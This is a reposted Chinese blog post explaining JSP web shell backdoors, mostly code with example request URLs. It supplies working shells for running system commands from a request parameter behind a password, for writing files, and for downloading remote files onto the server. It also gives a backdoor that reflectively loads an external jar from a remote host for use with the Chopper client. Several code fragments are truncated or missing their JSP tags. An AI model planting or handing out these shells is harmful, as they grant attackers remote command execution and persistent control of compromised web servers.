当前位置:   article > 正文

jsp 不解析pre_Jsp 小后门,Jsp 一句话木马后门详解

jsp一句话不解析

一:执行系统命令:

无回显执行系统命令:

请求:http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls

执行之后不会有任何回显,用来反弹个shell很方便。

有回显带密码验证的:

if("023".equals(request.getParameter("pwd"))){

java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();

int a = -1;

byte[] b = new byte[2048];

out.print("

");

while((a=in.read(b))!=-1){

out.println(new String(b));

}

out.print("

");

}

%>

请求:http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls

二、把字符串编码后写入指定文件的:

1:

请求:http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234

写入web目录:

请求:http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234

2:

请求:http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234

写入web目录:

请求:http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234

三:下载远程文件(不用apache io utils的话没办法把inputstream转byte,所以很长…)

java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();

byte[] b = new byte[1024];

java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();

int a = -1;

while ((a = in.read(b)) != -1) {

baos.write(b, 0, a);

}

new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray());

%>

请求:http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png

下载到web路径:

java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();

byte[] b = new byte[1024];

java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();

int a = -1;

while ((a = in.read(b)) != -1) {

baos.write(b, 0, a);

}

new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray());

%>

请求:http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png

四:反射调用外部jar,完美后门

如果嫌弃上面的后门功能太弱太陈旧可以试试这个:

请求:http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A

菜刀连接:http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar,密码023.

解:

利用反射加载一个外部的jar到当前应用,反射执行输出处理结果。request.getParameterMap()包含了请求的所有参数。由于加载的是外部的jar包,所以要求服务器必须能访问到这个jar地址。

下载:Cat.jar (rar)

Load代码:import java.io.IOException;

import java.util.HashMap;

import java.util.Map;

import java.util.Map.Entry;

/*

* To change this license header, choose License Headers in Project Properties.

* To change this template file, choose Tools | Templates

* and open the template in the editor.

*/

/**

*

* @author yz

*/

public class Load {

public static String load(Map map){

try {

Map request = new HashMap();

for (Entry entrySet : map.entrySet()) {

String key = entrySet.getKey();

String value = entrySet

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/羊村懒王/article/detail/452886
推荐阅读
相关标签
  

闽ICP备14008679号